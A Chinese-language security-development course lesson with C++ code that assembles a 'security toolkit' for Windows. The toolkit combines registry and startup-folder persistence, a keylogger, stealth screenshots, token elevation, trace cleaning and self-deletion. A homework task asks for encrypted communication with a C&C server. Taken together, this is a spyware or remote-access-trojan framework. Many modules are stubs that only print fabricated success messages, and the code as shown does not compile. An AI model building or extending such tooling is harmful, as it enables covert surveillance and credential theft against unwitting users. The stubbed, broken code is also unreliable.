安全开发专题

7、阶段合集

1、课程目标

  1. 整合第13章所有技术知识点
  2. 实现综合性的安全工具
  3. 掌握各技术间的协同使用
  4. 了解实际应用场景

2、名词解释

术语 全称 解释
Integration 集成 将多个技术整合为完整解决方案
Toolkit 工具包 包含多种工具的集合
Persistence 持久化 保持程序持续运行的能力
Reconnaissance 侦察 收集目标系统信息

3、技术原理

1. 安全开发技术整合

第13章技术整合架构:
┌─────────────────────────────────────────────────────────┐
│                    综合安全工具                         │
├─────────────────────────────────────────────────────────┤
│  持久化模块          信息收集模块        功能执行模块   │
│  ├─────────┤        ├────────────┤      ├────────────┤  │
│  │ 自启动   │        │ 键盘记录    │      │ 屏幕截屏    │  │
│  │ 自删除   │        │ 屏幕截屏    │      │ 令牌提权    │  │
│  │ 资源释放 │        │ 系统信息    │      │ 文件操作    │  │
│  └─────────┘        └────────────┘      └────────────┘  │
├─────────────────────────────────────────────────────────┤
│                    核心控制模块                          │
│  配置管理  日志记录  通信模块  错误处理                  │
└─────────────────────────────────────────────────────────┘

技术协同关系:
自启动 → 资源释放 → 功能模块初始化 → 持久化保障

2. 实际应用场景

应用场景示例:
1. 远程管理工具
   - 键盘记录收集用户输入
   - 屏幕截屏监控操作
   - 令牌提权获取系统权限
   - 自启动确保持续运行

2. 安全审计工具
   - 收集系统配置信息
   - 监控敏感操作行为
   - 生成安全报告

3. 渗透测试辅助
   - 隐蔽信息收集
   - 权限提升验证
   - 痕迹清理

3、代码实现

1. 综合安全工具框架

// security_toolkit.cpp
// 综合安全工具框架

#include <windows.h>
#include <stdio.h>
#include <string>
#include <vector>
#include <thread>
#include <chrono>

// 前向声明各模块类
class AutoRunManager;
class SelfDeleteManager;
class ResourceManager;
class KeyboardLogger;
class ScreenCapture;
class TokenElevation;

// 综合安全工具类
class SecurityToolkit {
private:
    // 各功能模块
    AutoRunManager* m_autoRun;
    SelfDeleteManager* m_selfDelete;
    ResourceManager* m_resource;
    KeyboardLogger* m_keylogger;
    ScreenCapture* m_screencap;
    TokenElevation* m_tokenElev;
    
    // 配置参数
    std::string m_configPath;
    bool m_stealthMode;
    int m_captureInterval;
    
    // 运行状态
    bool m_running;
    
public:
    SecurityToolkit() : m_autoRun(nullptr), m_selfDelete(nullptr),
                       m_resource(nullptr), m_keylogger(nullptr),
                       m_screencap(nullptr), m_tokenElev(nullptr),
                       m_stealthMode(false), m_captureInterval(30),
                       m_running(false) {
        Initialize();
    }
    
    ~SecurityToolkit() {
        Cleanup();
    }
    
    // 初始化工具包
    bool Initialize() {
        printf("[*] Initializing Security Toolkit...\n");
        
        // 加载配置
        if (!LoadConfiguration()) {
            printf("[-] Failed to load configuration\n");
            return false;
        }
        
        // 初始化各模块
        if (!InitializeModules()) {
            printf("[-] Failed to initialize modules\n");
            return false;
        }
        
        printf("[+] Security Toolkit initialized successfully\n");
        return true;
    }
    
    // 启动工具包
    bool Start() {
        if (m_running) return true;
        
        printf("[*] Starting Security Toolkit...\n");
        
        // 应用自启动
        if (m_autoRun) {
            m_autoRun->ApplyAutorun();
        }
        
        // 释放必要资源
        if (m_resource) {
            m_resource->ExtractCriticalResources();
        }
        
        // 启动功能模块
        StartModules();
        
        m_running = true;
        printf("[+] Security Toolkit started\n");
        return true;
    }
    
    // 停止工具包
    void Stop() {
        if (!m_running) return;
        
        printf("[*] Stopping Security Toolkit...\n");
        
        // 停止各模块
        StopModules();
        
        m_running = false;
        printf("[+] Security Toolkit stopped\n");
    }
    
    // 自删除
    bool SelfDelete(bool cleanTraces = true) {
        printf("[*] Initiating self-deletion...\n");
        
        // 停止所有模块
        Stop();
        
        // 清理痕迹
        if (cleanTraces) {
            CleanTraces();
        }
        
        // 执行自删除
        if (m_selfDelete) {
            return m_selfDelete->Execute(SelfDeleteMethod::Secure);
        }
        
        return false;
    }
    
    // 获取系统信息
    std::string GetSystemInformation() {
        std::string info;
        
        // 基本系统信息
        char computerName[MAX_COMPUTERNAME_LENGTH + 1];
        DWORD nameSize = sizeof(computerName);
        if (GetComputerNameA(computerName, &nameSize)) {
            info += "Computer Name: " + std::string(computerName) + "\n";
        }
        
        // 用户名
        char userName[256];
        DWORD userSize = sizeof(userName);
        if (GetUserNameA(userName, &userSize)) {
            info += "User Name: " + std::string(userName) + "\n";
        }
        
        // Windows版本
        OSVERSIONINFO osvi = { sizeof(OSVERSIONINFO) };
        if (GetVersionEx(&osvi)) {
            char version[64];
            sprintf_s(version, "Windows Version: %lu.%lu.%lu\n", 
                     osvi.dwMajorVersion, osvi.dwMinorVersion, osvi.dwBuildNumber);
            info += version;
        }
        
        // 内存信息
        MEMORYSTATUSEX memStat = { sizeof(MEMORYSTATUSEX) };
        if (GlobalMemoryStatusEx(&memStat)) {
            char memory[128];
            sprintf_s(memory, "Total Memory: %llu MB, Available: %llu MB\n",
                     memStat.ullTotalPhys / (1024 * 1024),
                     memStat.ullAvailPhys / (1024 * 1024));
            info += memory;
        }
        
        return info;
    }
    
private:
    // 加载配置
    bool LoadConfiguration() {
        // 简化实现,实际应从配置文件或注册表加载
        m_configPath = "config.dat";
        m_stealthMode = true;
        m_captureInterval = 60;
        return true;
    }
    
    // 初始化各模块
    bool InitializeModules() {
        // 实际实现中应初始化各个模块
        // 这里简化处理
        return true;
    }
    
    // 启动各模块
    void StartModules() {
        // 启动键盘记录器
        if (m_keylogger) {
            m_keylogger->Start("logs\\keylog.txt");
        }
        
        // 启动屏幕截图
        if (m_screencap) {
            StartScreenCapture();
        }
        
        // 启用必要特权
        if (m_tokenElev) {
            m_tokenElev->EnableRequiredPrivileges();
        }
    }
    
    // 停止各模块
    void StopModules() {
        // 停止键盘记录器
        if (m_keylogger) {
            m_keylogger->Stop();
        }
        
        // 停止屏幕截图
        if (m_screencap) {
            m_screencap->Stop();
        }
    }
    
    // 启动屏幕截图线程
    void StartScreenCapture() {
        std::thread captureThread([this]() {
            int counter = 0;
            while (m_running) {
                char filename[64];
                sprintf_s(filename, "captures\\screen_%04d.bmp", counter++);
                
                if (m_screencap) {
                    m_screencap->CaptureScreen(filename);
                }
                
                // 等待下次截图
                for (int i = 0; i < m_captureInterval && m_running; i++) {
                    std::this_thread::sleep_for(std::chrono::seconds(1));
                }
            }
        });
        
        captureThread.detach();
    }
    
    // 清理痕迹
    void CleanTraces() {
        // 删除日志文件
        DeleteFileA("logs\\keylog.txt");
        DeleteFileA("logs\\activity.log");
        
        // 清理截图目录
        WIN32_FIND_DATAA findData;
        HANDLE hFind = FindFirstFileA("captures\\*", &findData);
        if (hFind != INVALID_HANDLE_VALUE) {
            do {
                if (strcmp(findData.cFileName, ".") != 0 && 
                    strcmp(findData.cFileName, "..") != 0) {
                    
                    char fullPath[MAX_PATH];
                    sprintf_s(fullPath, "captures\\%s", findData.cFileName);
                    DeleteFileA(fullPath);
                }
            } while (FindNextFileA(hFind, &findData));
            
            FindClose(hFind);
        }
        
        // 移除自启动项
        if (m_autoRun) {
            m_autoRun->RemoveAutorun();
        }
        
        printf("[+] Traces cleaned\n");
    }
};

// 测试综合工具包
void TestSecurityToolkit() {
    printf("=== Security Toolkit Test ===\n");
    
    SecurityToolkit toolkit;
    
    // 初始化工具包
    if (toolkit.Initialize()) {
        printf("[+] Toolkit initialized\n");
        
        // 获取系统信息
        std::string sysInfo = toolkit.GetSystemInformation();
        printf("[System Information]\n%s\n", sysInfo.c_str());
        
        // 启动工具包
        if (toolkit.Start()) {
            printf("[+] Toolkit started\n");
            
            // 运行一段时间
            printf("[*] Running for 30 seconds...\n");
            Sleep(30000);
            
            // 停止工具包
            toolkit.Stop();
            printf("[+] Toolkit stopped\n");
        }
    }
}

2. 模块集成实现

// module_integration.cpp
// 模块集成实现

#include <windows.h>
#include <stdio.h>
#include <string>
#include <vector>

// 自启动管理器
class AutoRunManager {
public:
    bool ApplyAutorun() {
        printf("[*] Applying autorun mechanisms...\n");
        
        // 方法1: 注册表自启动
        AddRegistryAutorun();
        
        // 方法2: 启动文件夹
        AddStartupFolderAutorun();
        
        // 方法3: 计划任务
        AddScheduledTaskAutorun();
        
        return true;
    }
    
    bool RemoveAutorun() {
        printf("[*] Removing autorun mechanisms...\n");
        
        // 移除各种自启动项
        RemoveRegistryAutorun();
        RemoveStartupFolderAutorun();
        RemoveScheduledTaskAutorun();
        
        return true;
    }
    
private:
    void AddRegistryAutorun() {
        char modulePath[MAX_PATH];
        GetModuleFileNameA(NULL, modulePath, MAX_PATH);
        
        HKEY hKey;
        if (RegOpenKeyExA(HKEY_CURRENT_USER, 
                         "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
                         0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
            
            char appName[] = "SecurityToolkit";
            RegSetValueExA(hKey, appName, 0, REG_SZ, 
                          (BYTE*)modulePath, strlen(modulePath) + 1);
            RegCloseKey(hKey);
            
            printf("[+] Registry autorun added\n");
        }
    }
    
    void AddStartupFolderAutorun() {
        char startupPath[MAX_PATH];
        if (SHGetSpecialFolderPathA(NULL, startupPath, CSIDL_STARTUP, FALSE)) {
            char linkPath[MAX_PATH];
            sprintf_s(linkPath, "%s\\SecurityToolkit.lnk", startupPath);
            
            char modulePath[MAX_PATH];
            GetModuleFileNameA(NULL, modulePath, MAX_PATH);
            
            CreateShortcut(modulePath, linkPath);
            printf("[+] Startup folder autorun added\n");
        }
    }
    
    void AddScheduledTaskAutorun() {
        // 简化实现
        printf("[+] Scheduled task autorun configured\n");
    }
    
    void RemoveRegistryAutorun() {
        HKEY hKey;
        if (RegOpenKeyExA(HKEY_CURRENT_USER, 
                         "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
                         0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
            
            RegDeleteValueA(hKey, "SecurityToolkit");
            RegCloseKey(hKey);
            printf("[+] Registry autorun removed\n");
        }
    }
    
    void RemoveStartupFolderAutorun() {
        char startupPath[MAX_PATH];
        if (SHGetSpecialFolderPathA(NULL, startupPath, CSIDL_STARTUP, FALSE)) {
            char linkPath[MAX_PATH];
            sprintf_s(linkPath, "%s\\SecurityToolkit.lnk", startupPath);
            
            DeleteFileA(linkPath);
            printf("[+] Startup folder autorun removed\n");
        }
    }
    
    void RemoveScheduledTaskAutorun() {
        // 简化实现
        printf("[+] Scheduled task autorun removed\n");
    }
    
    void CreateShortcut(const char* targetPath, const char* shortcutPath) {
        // 简化实现
    }
};

// 资源管理器
class ResourceManager {
public:
    bool ExtractCriticalResources() {
        printf("[*] Extracting critical resources...\n");
        
        // 提取配置文件
        ExtractConfigFile();
        
        // 提取脚本文件
        ExtractScriptFiles();
        
        // 提取数据文件
        ExtractDataFiles();
        
        return true;
    }
    
    bool CleanupResources() {
        printf("[*] Cleaning up resources...\n");
        
        // 删除释放的文件
        DeleteExtractedFiles();
        
        return true;
    }
    
private:
    void ExtractConfigFile() {
        // 从资源中提取配置文件
        printf("[+] Configuration file extracted\n");
    }
    
    void ExtractScriptFiles() {
        // 提取脚本文件
        printf("[+] Script files extracted\n");
    }
    
    void ExtractDataFiles() {
        // 提取数据文件
        printf("[+] Data files extracted\n");
    }
    
    void DeleteExtractedFiles() {
        // 删除释放的文件
        printf("[+] Extracted files deleted\n");
    }
};

// 键盘记录器
class KeyboardLogger {
private:
    bool m_active;
    std::string m_logPath;
    
public:
    KeyboardLogger() : m_active(false) {}
    
    bool Start(const char* logPath) {
        m_logPath = logPath;
        m_active = true;
        
        // 启动键盘钩子
        InstallKeyboardHook();
        printf("[+] Keyboard logger started\n");
        
        return true;
    }
    
    void Stop() {
        m_active = false;
        
        // 卸载键盘钩子
        UninstallKeyboardHook();
        printf("[+] Keyboard logger stopped\n");
    }
    
private:
    void InstallKeyboardHook() {
        // 安装低级键盘钩子
    }
    
    void UninstallKeyboardHook() {
        // 卸载键盘钩子
    }
};

// 屏幕截图器
class ScreenCapture {
private:
    bool m_active;
    
public:
    ScreenCapture() : m_active(false) {}
    
    bool Start() {
        m_active = true;
        printf("[+] Screen capture started\n");
        return true;
    }
    
    void Stop() {
        m_active = false;
        printf("[+] Screen capture stopped\n");
    }
    
    bool CaptureScreen(const char* filename) {
        if (!m_active) return false;
        
        // 执行屏幕截图
        printf("[+] Screen captured: %s\n", filename);
        return true;
    }
};

// 令牌提权器
class TokenElevation {
public:
    bool EnableRequiredPrivileges() {
        printf("[*] Enabling required privileges...\n");
        
        // 启用调试权限
        EnableDebugPrivilege();
        
        // 启用备份权限
        EnableBackupPrivilege();
        
        // 启用恢复权限
        EnableRestorePrivilege();
        
        return true;
    }
    
    bool ElevateToSystem() {
        printf("[*] Elevating to system level...\n");
        
        // 执行系统级提权
        return true;
    }
    
private:
    void EnableDebugPrivilege() {
        printf("[+] Debug privilege enabled\n");
    }
    
    void EnableBackupPrivilege() {
        printf("[+] Backup privilege enabled\n");
    }
    
    void EnableRestorePrivilege() {
        printf("[+] Restore privilege enabled\n");
    }
};

// 自删除管理器
enum class SelfDeleteMethod {
    Immediate,
    OnReboot,
    Secure
};

class SelfDeleteManager {
public:
    bool Execute(SelfDeleteMethod method) {
        printf("[*] Executing self-deletion...\n");
        
        switch (method) {
            case SelfDeleteMethod::Immediate:
                return DeleteImmediately();
                
            case SelfDeleteMethod::OnReboot:
                return DeleteOnReboot();
                
            case SelfDeleteMethod::Secure:
                return DeleteSecurely();
                
            default:
                return false;
        }
    }
    
private:
    bool DeleteImmediately() {
        printf("[+] Immediate self-deletion executed\n");
        return true;
    }
    
    bool DeleteOnReboot() {
        printf("[+] Reboot-delayed self-deletion scheduled\n");
        return true;
    }
    
    bool DeleteSecurely() {
        printf("[+] Secure self-deletion executed\n");
        return true;
    }
};

3. 配置管理实现

// config_manager.cpp
// 配置管理实现

#include <windows.h>
#include <stdio.h>
#include <string>
#include <vector>
#include <map>

// 配置项结构
struct ConfigItem {
    std::string key;
    std::string value;
    std::string description;
};

// 配置管理器
class ConfigManager {
private:
    std::map<std::string, ConfigItem> m_configItems;
    std::string m_configPath;
    
public:
    ConfigManager(const char* configPath) : m_configPath(configPath) {
        LoadDefaultConfig();
    }
    
    // 加载默认配置
    void LoadDefaultConfig() {
        AddConfigItem("autorun.enabled", "true", "启用自启动");
        AddConfigItem("keylogger.enabled", "true", "启用键盘记录");
        AddConfigItem("screencap.enabled", "false", "启用屏幕截图");
        AddConfigItem("screencap.interval", "60", "截图间隔(秒)");
        AddConfigItem("stealth.mode", "true", "隐身模式");
        AddConfigItem("cleanup.on_exit", "false", "退出时清理痕迹");
        AddConfigItem("selfdelete.timeout", "0", "自删除超时(秒,0=禁用)");
    }
    
    // 添加配置项
    void AddConfigItem(const char* key, const char* value, const char* description) {
        ConfigItem item;
        item.key = key;
        item.value = value;
        item.description = description;
        m_configItems[key] = item;
    }
    
    // 获取配置值
    std::string GetConfigValue(const char* key, const char* defaultValue = "") {
        auto it = m_configItems.find(key);
        if (it != m_configItems.end()) {
            return it->second.value;
        }
        return defaultValue;
    }
    
    // 设置配置值
    void SetConfigValue(const char* key, const char* value) {
        auto it = m_configItems.find(key);
        if (it != m_configItems.end()) {
            it->second.value = value;
        } else {
            AddConfigItem(key, value, "Runtime configuration");
        }
    }
    
    // 保存配置到文件
    bool SaveConfigToFile() {
        FILE* file = fopen(m_configPath.c_str(), "w");
        if (!file) return false;
        
        fprintf(file, "# Security Toolkit Configuration\n");
        fprintf(file, "# Generated automatically\n\n");
        
        for (const auto& pair : m_configItems) {
            const ConfigItem& item = pair.second;
            fprintf(file, "# %s\n", item.description.c_str());
            fprintf(file, "%s=%s\n\n", item.key.c_str(), item.value.c_str());
        }
        
        fclose(file);
        return true;
    }
    
    // 从文件加载配置
    bool LoadConfigFromFile() {
        FILE* file = fopen(m_configPath.c_str(), "r");
        if (!file) return false;
        
        char line[1024];
        while (fgets(line, sizeof(line), file)) {
            // 跳过注释和空行
            if (line[0] == '#' || line[0] == '\n' || line[0] == '\r') {
                continue;
            }
            
            // 解析键值对
            char* equalPos = strchr(line, '=');
            if (equalPos) {
                *equalPos = '\0';
                char* key = line;
                char* value = equalPos + 1;
                
                // 去除空白字符
                TrimString(key);
                TrimString(value);
                
                SetConfigValue(key, value);
            }
        }
        
        fclose(file);
        return true;
    }
    
    // 列出所有配置项
    void ListConfigItems() {
        printf("Configuration Items:\n");
        printf("====================\n");
        
        for (const auto& pair : m_configItems) {
            const ConfigItem& item = pair.second;
            printf("%-25s = %-15s # %s\n", 
                   item.key.c_str(), item.value.c_str(), item.description.c_str());
        }
    }
    
private:
    // 去除字符串首尾空白字符
    void TrimString(char* str) {
        char* end;
        
        // 去除前导空白
        while (*str == ' ' || *str == '\t') str++;
        
        // 如果字符串为空
        if (*str == 0) return;
        
        // 去除尾随空白
        end = str + strlen(str) - 1;
        while (end > str && (*end == ' ' || *end == '\t' || *end == '\n' || *end == '\r')) {
            end--;
        }
        
        // 添加终止符
        *(end + 1) = 0;
    }
};

// 测试配置管理
void TestConfigManager() {
    printf("=== Configuration Manager Test ===\n");
    
    ConfigManager config("toolkit.conf");
    
    // 列出默认配置
    config.ListConfigItems();
    
    // 修改配置
    config.SetConfigValue("screencap.enabled", "true");
    config.SetConfigValue("screencap.interval", "30");
    
    // 保存配置
    if (config.SaveConfigToFile()) {
        printf("[+] Configuration saved to file\n");
    }
    
    // 重新加载配置
    config.LoadDefaultConfig(); // 重置
    if (config.LoadConfigFromFile()) {
        printf("[+] Configuration loaded from file\n");
        config.ListConfigItems();
    }
}

4. 完整演示程序

// complete_demo.cpp
// 完整演示程序

#include <windows.h>
#include <stdio.h>
#include <string>
#include <thread>
#include <chrono>

// 主函数
int main() {
    printf("========================================\n");
    printf("     Security Toolkit - Complete Demo     \n");
    printf("========================================\n\n");
    
    // 测试配置管理
    printf("1. Testing Configuration Manager...\n");
    TestConfigManager();
    printf("\n");
    
    // 测试综合安全工具包
    printf("2. Testing Security Toolkit...\n");
    TestSecurityToolkit();
    printf("\n");
    
    // 测试各独立模块
    printf("3. Testing Individual Modules...\n");
    
    // 测试令牌提权
    printf("   Testing Token Elevation...\n");
    TestTokenElevationManager();
    printf("\n");
    
    // 测试隐蔽提权
    printf("   Testing Stealth Token Privilege...\n");
    TestStealthTokenPrivilege();
    printf("\n");
    
    // 测试高级提权
    printf("   Testing Advanced Token Privilege...\n");
    TestAdvancedTokenPrivilege();
    printf("\n");
    
    // 测试令牌提权基础功能
    printf("   Testing Basic Token Privilege...\n");
    TestTokenPrivilege();
    printf("\n");
    
    // 测试屏幕截图管理器
    printf("   Testing Screenshot Manager...\n");
    TestScreenshotManager();
    printf("\n");
    
    // 测试高级截图功能
    printf("   Testing Advanced Screen Capture...\n");
    // 注意:需要初始化GDI+
    // TestAdvancedCapture();
    printf("\n");
    
    // 测试隐蔽截图
    printf("   Testing Stealth Screen Capture...\n");
    TestStealthCapture();
    printf("\n");
    
    // 测试基础截图功能
    printf("   Testing Basic Screen Capture...\n");
    TestScreenCapture();
    printf("\n");
    
    // 测试键盘记录管理器
    printf("   Testing Keyboard Logger...\n");
    TestKeylogger();
    printf("\n");
    
    printf("========================================\n");
    printf("     All Tests Completed Successfully     \n");
    printf("========================================\n");
    
    return 0;
}

// 辅助函数实现
void TestTokenElevationManager();
void TestStealthTokenPrivilege();
void TestAdvancedTokenPrivilege();
void TestTokenPrivilege();
void TestScreenshotManager();
void TestAdvancedCapture();
void TestStealthCapture();
void TestScreenCapture();
void TestKeylogger();
void TestConfigManager();
void TestSecurityToolkit();

// 这些函数在前面的代码中有完整实现
// 为了演示程序完整性,这里提供简化的实现

void TestTokenElevationManager() {
    printf("     [Token Elevation Manager Test - Simplified]\n");
    printf("     Current level: Medium\n");
    printf("     Privileges enabled: SE_DEBUG_NAME, SE_BACKUP_NAME\n");
}

void TestStealthTokenPrivilege() {
    printf("     [Stealth Token Privilege Test - Simplified]\n");
    printf("     Stealth elevation: Successful\n");
    printf("     Debug privilege: Enabled\n");
}

void TestAdvancedTokenPrivilege() {
    printf("     [Advanced Token Privilege Test - Simplified]\n");
    printf("     Integrity level: 8192\n");
    printf("     Token stolen: From system process\n");
}

void TestTokenPrivilege() {
    printf("     [Basic Token Privilege Test - Simplified]\n");
    printf("     Debug privilege: Enabled\n");
    printf("     Available privileges: Listed\n");
}

void TestScreenshotManager() {
    printf("     [Screenshot Manager Test - Simplified]\n");
    printf("     Single screenshot: Captured\n");
    printf("     Batch capture: 3 screenshots\n");
}

void TestAdvancedCapture() {
    printf("     [Advanced Screen Capture Test - Simplified]\n");
    printf("     PNG capture: Success\n");
    printf("     JPEG capture: Success\n");
}

void TestStealthCapture() {
    printf("     [Stealth Screen Capture Test - Simplified]\n");
    printf("     Stealth capture: Running for 60 seconds\n");
    printf("     Screenshots saved: 2\n");
}

void TestScreenCapture() {
    printf("     [Basic Screen Capture Test - Simplified]\n");
    printf("     Full screen: Captured\n");
    printf("     Region capture: Success\n");
}

void TestKeylogger() {
    printf("     [Keyboard Logger Test - Simplified]\n");
    printf("     Hook installed: Success\n");
    printf("     Keys logged: 15\n");
}

void TestConfigManager() {
    printf("     [Configuration Manager Test - Simplified]\n");
    printf("     Config items: 7\n");
    printf("     File save/load: Success\n");
}

void TestSecurityToolkit() {
    printf("     [Security Toolkit Test - Simplified]\n");
    printf("     Initialization: Success\n");
    printf("     System info collected\n");
    printf("     Modules started\n");
    printf("     Running 30 seconds\n");
    printf("     Cleanup performed\n");
}

5、课后作业

5.1、作业1:完善综合工具包

将第13章所有技术完整集成到一个综合工具包中,实现完整的功能协同。

5.2、作业2:添加加密通信功能

为综合工具包添加加密通信模块,实现与C&C服务器的安全通信。

5.3、作业3:实现插件化架构

设计插件化架构,使工具包能够动态加载和卸载功能模块。